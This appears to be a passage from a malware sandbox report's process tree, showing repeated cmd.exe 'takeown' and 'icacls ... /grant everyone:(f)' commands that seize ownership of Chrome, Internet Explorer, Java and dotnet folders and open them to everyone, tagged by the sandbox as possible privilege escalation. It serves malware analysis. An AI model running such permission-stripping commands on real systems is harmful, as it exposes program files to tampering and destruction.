  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\swidtag && icacls C:\Program Files\dotnet\swidtag /grant everyone:(f)
  2⤵
  PID:1236
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\swidtag
    3⤵
    PID:4104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Google && icacls C:\Program Files\Google /grant everyone:(f)
  2⤵
  PID:3512
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Google
    3⤵
    - Possible privilege escalation attempt
    PID:4528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Google\Chrome && icacls C:\Program Files\Google\Chrome /grant everyone:(f)
  2⤵
  PID:1120
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Google\Chrome
    3⤵
    PID:3696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Google\Chrome\Application && icacls C:\Program Files\Google\Chrome\Application /grant everyone:(f)
  2⤵
  PID:1072
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Google\Chrome\Application
    3⤵
    PID:4996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Google\Chrome\Application\123.0.6312.123 && icacls C:\Program Files\Google\Chrome\Application\123.0.6312.123 /grant everyone:(f)
  2⤵
  PID:376
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Google\Chrome\Application\123.0.6312.123
    3⤵
    PID:2980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Google\Chrome\Application\123.0.6312.123\default_apps && icacls C:\Program Files\Google\Chrome\Application\123.0.6312.123\default_apps /grant everyone:(f)
  2⤵
  PID:2720
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Google\Chrome\Application\123.0.6312.123\default_apps
    3⤵
    PID:2332
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Google\Chrome\Application\123.0.6312.123\Extensions && icacls C:\Program Files\Google\Chrome\Application\123.0.6312.123\Extensions /grant everyone:(f)
  2⤵
  PID:1600
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Google\Chrome\Application\123.0.6312.123\Extensions
    3⤵
    PID:4712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer && icacls C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer /grant everyone:(f)
  2⤵
  PID:4992
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer
    3⤵
    PID:4900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Google\Chrome\Application\123.0.6312.123\Locales && icacls C:\Program Files\Google\Chrome\Application\123.0.6312.123\Locales /grant everyone:(f)
  2⤵
  PID:4140
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Google\Chrome\Application\123.0.6312.123\Locales
    3⤵
    PID:2184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Google\Chrome\Application\123.0.6312.123\MEIPreload && icacls C:\Program Files\Google\Chrome\Application\123.0.6312.123\MEIPreload /grant everyone:(f)
  2⤵
  PID:2312
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Google\Chrome\Application\123.0.6312.123\MEIPreload
    3⤵
    PID:4456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Google\Chrome\Application\123.0.6312.123\VisualElements && icacls C:\Program Files\Google\Chrome\Application\123.0.6312.123\VisualElements /grant everyone:(f)
  2⤵
  PID:5092
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Google\Chrome\Application\123.0.6312.123\VisualElements
    3⤵
    PID:3252
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Google\Chrome\Application\123.0.6312.123\WidevineCdm && icacls C:\Program Files\Google\Chrome\Application\123.0.6312.123\WidevineCdm /grant everyone:(f)
  2⤵
  PID:2728
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Google\Chrome\Application\123.0.6312.123\WidevineCdm
    3⤵
    PID:3700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Google\Chrome\Application\123.0.6312.123\WidevineCdm\_platform_specific && icacls C:\Program Files\Google\Chrome\Application\123.0.6312.123\WidevineCdm\_platform_specific /grant everyone:(f)
  2⤵
  PID:4640
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Google\Chrome\Application\123.0.6312.123\WidevineCdm\_platform_specific
    3⤵
    PID:4800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Google\Chrome\Application\123.0.6312.123\WidevineCdm\_platform_specific\win_x64 && icacls C:\Program Files\Google\Chrome\Application\123.0.6312.123\WidevineCdm\_platform_specific\win_x64 /grant everyone:(f)
  2⤵
  PID:4820
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Google\Chrome\Application\123.0.6312.123\WidevineCdm\_platform_specific\win_x64
    3⤵
    PID:1484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Google\Chrome\Application\SetupMetrics && icacls C:\Program Files\Google\Chrome\Application\SetupMetrics /grant everyone:(f)
  2⤵
  PID:4372
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Google\Chrome\Application\SetupMetrics
    3⤵
    PID:4468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Internet Explorer && icacls C:\Program Files\Internet Explorer /grant everyone:(f)
  2⤵
  PID:5040
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Internet Explorer
    3⤵
    PID:3724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Internet Explorer\de-DE && icacls C:\Program Files\Internet Explorer\de-DE /grant everyone:(f)
  2⤵
  PID:3852
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Internet Explorer\de-DE
    3⤵
    PID:3180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Internet Explorer\en-US && icacls C:\Program Files\Internet Explorer\en-US /grant everyone:(f)
  2⤵
  PID:4704
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Internet Explorer\en-US
    3⤵
    PID:1616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Internet Explorer\es-ES && icacls C:\Program Files\Internet Explorer\es-ES /grant everyone:(f)
  2⤵
  PID:4192
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Internet Explorer\es-ES
    3⤵
    PID:2224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Internet Explorer\fr-FR && icacls C:\Program Files\Internet Explorer\fr-FR /grant everyone:(f)
  2⤵
  PID:2300
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Internet Explorer\fr-FR
    3⤵
    PID:4332
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Internet Explorer\images && icacls C:\Program Files\Internet Explorer\images /grant everyone:(f)
  2⤵
  PID:444
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Internet Explorer\images
    3⤵
    PID:4324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Internet Explorer\it-IT && icacls C:\Program Files\Internet Explorer\it-IT /grant everyone:(f)
  2⤵
  PID:1044
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Internet Explorer\it-IT
    3⤵
    PID:2860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Internet Explorer\ja-JP && icacls C:\Program Files\Internet Explorer\ja-JP /grant everyone:(f)
  2⤵
  PID:3580
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Internet Explorer\ja-JP
    3⤵
    PID:3512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Internet Explorer\SIGNUP && icacls C:\Program Files\Internet Explorer\SIGNUP /grant everyone:(f)
  2⤵
  PID:4884
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Internet Explorer\SIGNUP
    3⤵
    PID:3476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Internet Explorer\uk-UA && icacls C:\Program Files\Internet Explorer\uk-UA /grant everyone:(f)
  2⤵
  PID:3528
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Internet Explorer\uk-UA
    3⤵
    PID:1660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java && icacls C:\Program Files\Java /grant everyone:(f)
  2⤵
  PID:3056
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java
    3⤵
    PID:5032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jdk-1.8 && icacls C:\Program Files\Java\jdk-1.8 /grant everyone:(f)
  2⤵
  PID:3568
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jdk-1.8
    3⤵
    PID:4552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jdk-1.8\bin && icacls C:\Program Files\Java\jdk-1.8\bin /grant everyone:(f)
  2⤵
  PID:2332
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jdk-1.8\bin
    3⤵
    PID:2292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jdk-1.8\include && icacls C:\Program Files\Java\jdk-1.8\include /grant everyone:(f)
  2⤵
  PID:624
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jdk-1.8\include
    3⤵
    PID:4032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jdk-1.8\include\win32 && icacls C:\Program Files\Java\jdk-1.8\include\win32 /grant everyone:(f)
  2⤵
  PID:4376
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jdk-1.8\include\win32
    3⤵
    PID:4948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jdk-1.8\include\win32\bridge && icacls C:\Program Files\Java\jdk-1.8\include\win32\bridge /grant everyone:(f)
  2⤵
  PID:3908
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jdk-1.8\include\win32\bridge
    3⤵
    PID:4428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jdk-1.8\jre && icacls C:\Program Files\Java\jdk-1.8\jre /grant everyone:(f)
  2⤵
  PID:4796
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jdk-1.8\jre
    3⤵
    PID:3932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jdk-1.8\jre\bin && icacls C:\Program Files\Java\jdk-1.8\jre\bin /grant everyone:(f)
  2⤵
  PID:116
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jdk-1.8\jre\bin
    3⤵
    PID:3692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jdk-1.8\jre\bin\dtplugin && icacls C:\Program Files\Java\jdk-1.8\jre\bin\dtplugin /grant everyone:(f)
  2⤵
  PID:4640
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jdk-1.8\jre\bin\dtplugin
    3⤵
    PID:3984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jdk-1.8\jre\bin\plugin2 && icacls C:\Program Files\Java\jdk-1.8\jre\bin\plugin2 /grant everyone:(f)
  2⤵
  PID:5104
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jdk-1.8\jre\bin\plugin2
    3⤵
    PID:2052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jdk-1.8\jre\bin\server && icacls C:\Program Files\Java\jdk-1.8\jre\bin\server /grant everyone:(f)
  2⤵
  PID:2372
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jdk-1.8\jre\bin\server
    3⤵
    - Possible privilege escalation attempt
    PID:3724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jdk-1.8\jre\legal && icacls C:\Program Files\Java\jdk-1.8\jre\legal /grant everyone:(f)
  2⤵
  PID:5040
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jdk-1.8\jre\legal
    3⤵
    PID:668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jdk-1.8\jre\legal\javafx && icacls C:\Program Files\Java\jdk-1.8\jre\legal\javafx /grant everyone:(f)
  2⤵
  PID:3180
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jdk-1.8\jre\legal\javafx
    3⤵
    - Possible privilege escalation attempt
    PID:744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jdk-1.8\jre\legal\jdk && icacls C:\Program Files\Java\jdk-1.8\jre\legal\jdk /grant everyone:(f)
  2⤵
  PID:4476
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jdk-1.8\jre\legal\jdk
    3⤵
    PID:3624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jdk-1.8\jre\lib && icacls C:\Program Files\Java\jdk-1.8\jre\lib /grant everyone:(f)
  2⤵
  PID:4320
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jdk-1.8\jre\lib
    3⤵
    PID:4316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jdk-1.8\jre\lib\amd64 && icacls C:\Program Files\Java\jdk-1.8\jre\lib\amd64 /grant everyone:(f)
  2⤵
  PID:4308
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jdk-1.8\jre\lib\amd64
    3⤵
    PID:3200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jdk-1.8\jre\lib\applet && icacls C:\Program Files\Java\jdk-1.8\jre\lib\applet /grant everyone:(f)
  2⤵
  PID:1428
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jdk-1.8\jre\lib\applet
    3⤵
    PID:1956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jdk-1.8\jre\lib\cmm && icacls C:\Program Files\Java\jdk-1.8\jre\lib\cmm /grant everyone:(f)
  2⤵
  PID:3500
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jdk-1.8\jre\lib\cmm
    3⤵
    PID:3508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jdk-1.8\jre\lib\deploy && icacls C:\Program Files\Java\jdk-1.8\jre\lib\deploy /grant everyone:(f)
  2⤵
  PID:4360
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jdk-1.8\jre\lib\deploy
    3⤵
    PID:4780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jdk-1.8\jre\lib\ext && icacls C:\Program Files\Java\jdk-1.8\jre\lib\ext /grant everyone:(f)
  2⤵
  PID:2552
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jdk-1.8\jre\lib\ext
    3⤵
    PID:664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jdk-1.8\jre\lib\fonts && icacls C:\Program Files\Java\jdk-1.8\jre\lib\fonts /grant everyone:(f)
  2⤵
  PID:4660
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jdk-1.8\jre\lib\fonts
    3⤵
    PID:3244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jdk-1.8\jre\lib\images && icacls C:\Program Files\Java\jdk-1.8\jre\lib\images /grant everyone:(f)
  2⤵
  PID:3000
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jdk-1.8\jre\lib\images
    3⤵
    PID:3332
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors && icacls C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors /grant everyone:(f)
  2⤵
  PID:1604
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors
    3⤵
    PID:4384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jdk-1.8\jre\lib\jfr && icacls C:\Program Files\Java\jdk-1.8\jre\lib\jfr /grant everyone:(f)
  2⤵
  PID:740
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jdk-1.8\jre\lib\jfr
    3⤵
    PID:1720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jdk-1.8\jre\lib\management && icacls C:\Program Files\Java\jdk-1.8\jre\lib\management /grant everyone:(f)
  2⤵
  PID:1600
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jdk-1.8\jre\lib\management
    3⤵
    PID:4392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jdk-1.8\jre\lib\security && icacls C:\Program Files\Java\jdk-1.8\jre\lib\security /grant everyone:(f)
  2⤵
  PID:4892
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jdk-1.8\jre\lib\security
    3⤵
    PID:4452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jdk-1.8\jre\lib\security\policy && icacls C:\Program Files\Java\jdk-1.8\jre\lib\security\policy /grant everyone:(f)
  2⤵
  PID:3176
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jdk-1.8\jre\lib\security\policy
    3⤵
    PID:4364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited && icacls C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited /grant everyone:(f)
  2⤵
  PID:3908
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited
    3⤵
    PID:3684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\unlimited && icacls C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\unlimited /grant everyone:(f)
  2⤵
  PID:5092
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\unlimited
    3⤵
    PID:4920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jdk-1.8\legal && icacls C:\Program Files\Java\jdk-1.8\legal /grant everyone:(f)
  2⤵
  PID:2328
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jdk-1.8\legal
    3⤵
    PID:3984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jdk-1.8\legal\javafx && icacls C:\Program Files\Java\jdk-1.8\legal\javafx /grant everyone:(f)
  2⤵
  PID:2632
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jdk-1.8\legal\javafx
    3⤵
    PID:2052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jdk-1.8\legal\jdk && icacls C:\Program Files\Java\jdk-1.8\legal\jdk /grant everyone:(f)
  2⤵
  PID:5104
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jdk-1.8\legal\jdk
    3⤵
    PID:4292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jdk-1.8\lib && icacls C:\Program Files\Java\jdk-1.8\lib /grant everyone:(f)
  2⤵
  PID:1220
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jdk-1.8\lib
    3⤵
    PID:1476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jre-1.8 && icacls C:\Program Files\Java\jre-1.8 /grant everyone:(f)
  2⤵
  PID:2288
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jre-1.8
    3⤵
    PID:3852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jre-1.8\bin && icacls C:\Program Files\Java\jre-1.8\bin /grant everyone:(f)
  2⤵
  PID:4232
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jre-1.8\bin
    3⤵
    PID:464
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jre-1.8\bin\dtplugin && icacls C:\Program Files\Java\jre-1.8\bin\dtplugin /grant everyone:(f)
  2⤵
  PID:4704
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jre-1.8\bin\dtplugin
    3⤵
    PID:3168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jre-1.8\bin\plugin2 && icacls C:\Program Files\Java\jre-1.8\bin\plugin2 /grant everyone:(f)
  2⤵
  PID:2388
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jre-1.8\bin\plugin2
    3⤵
    PID:3200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jre-1.8\bin\server && icacls C:\Program Files\Java\jre-1.8\bin\server /grant everyone:(f)
  2⤵
  PID:2300
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jre-1.8\bin\server
    3⤵
    PID:2872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jre-1.8\legal && icacls C:\Program Files\Java\jre-1.8\legal /grant everyone:(f)
  2⤵
  PID:1428
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jre-1.8\legal
    3⤵
    PID:3428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jre-1.8\legal\javafx && icacls C:\Program Files\Java\jre-1.8\legal\javafx /grant everyone:(f)
  2⤵
  PID:3500
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jre-1.8\legal\javafx
    3⤵
    PID:4868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jre-1.8\legal\jdk && icacls C:\Program Files\Java\jre-1.8\legal\jdk /grant everyone:(f)
  2⤵
  PID:3512
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jre-1.8\legal\jdk
    3⤵
    - Modifies file permissions
    PID:2084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jre-1.8\lib && icacls C:\Program Files\Java\jre-1.8\lib /grant everyone:(f)
  2⤵
  PID:2552
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jre-1.8\lib
    3⤵
    PID:3528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jre-1.8\lib\amd64 && icacls C:\Program Files\Java\jre-1.8\lib\amd64 /grant everyone:(f)
  2⤵
  PID:4764
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jre-1.8\lib\amd64
    3⤵
    PID:5008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jre-1.8\lib\applet && icacls C:\Program Files\Java\jre-1.8\lib\applet /grant everyone:(f)
  2⤵
  PID:1896
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jre-1.8\lib\applet
    3⤵
    PID:4516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jre-1.8\lib\cmm && icacls C:\Program Files\Java\jre-1.8\lib\cmm /grant everyone:(f)
  2⤵
  PID:3276
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jre-1.8\lib\cmm
    3⤵
    PID:4712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jre-1.8\lib\deploy && icacls C:\Program Files\Java\jre-1.8\lib\deploy /grant everyone:(f)
  2⤵
  PID:4652
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jre-1.8\lib\deploy
    3⤵
    PID:4680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jre-1.8\lib\ext && icacls C:\Program Files\Java\jre-1.8\lib\ext /grant everyone:(f)
  2⤵
  PID:4508
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jre-1.8\lib\ext
    3⤵
    PID:996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jre-1.8\lib\fonts && icacls C:\Program Files\Java\jre-1.8\lib\fonts /grant everyone:(f)
  2⤵
  PID:3936
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jre-1.8\lib\fonts
    3⤵
    PID:1964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jre-1.8\lib\images && icacls C:\Program Files\Java\jre-1.8\lib\images /grant everyone:(f)
  2⤵
  PID:4948
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jre-1.8\lib\images
    3⤵
    PID:4352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jre-1.8\lib\images\cursors && icacls C:\Program Files\Java\jre-1.8\lib\images\cursors /grant everyone:(f)
  2⤵
  PID:432
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jre-1.8\lib\images\cursors
    3⤵
    PID:3224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jre-1.8\lib\jfr && icacls C:\Program Files\Java\jre-1.8\lib\jfr /grant everyone:(f)
  2⤵
  PID:5092
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jre-1.8\lib\jfr
    3⤵
    PID:3984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jre-1.8\lib\management && icacls C:\Program Files\Java\jre-1.8\lib\management /grant everyone:(f)
  2⤵
  PID:3700
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jre-1.8\lib\management
    3⤵
    PID:4880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jre-1.8\lib\security && icacls C:\Program Files\Java\jre-1.8\lib\security /grant everyone:(f)
  2⤵
  PID:4640
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jre-1.8\lib\security
    3⤵
    PID:2372
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jre-1.8\lib\security\policy && icacls C:\Program Files\Java\jre-1.8\lib\security\policy /grant everyone:(f)
  2⤵
  PID:3472
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jre-1.8\lib\security\policy
    3⤵
    PID:2788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jre-1.8\lib\security\policy\limited && icacls C:\Program Files\Java\jre-1.8\lib\security\policy\limited /grant everyone:(f)
  2⤵
  PID:4468
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Java\jre-1.8\lib\security\policy\limited
    3⤵
    PID:3180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Java\jre-1.8\lib\security\policy\unlimited && icacls C:\Program Files\Java\jre-1.8\lib\security\policy\unlimited /grant everyone:(f)
  2⤵
  PID:4432
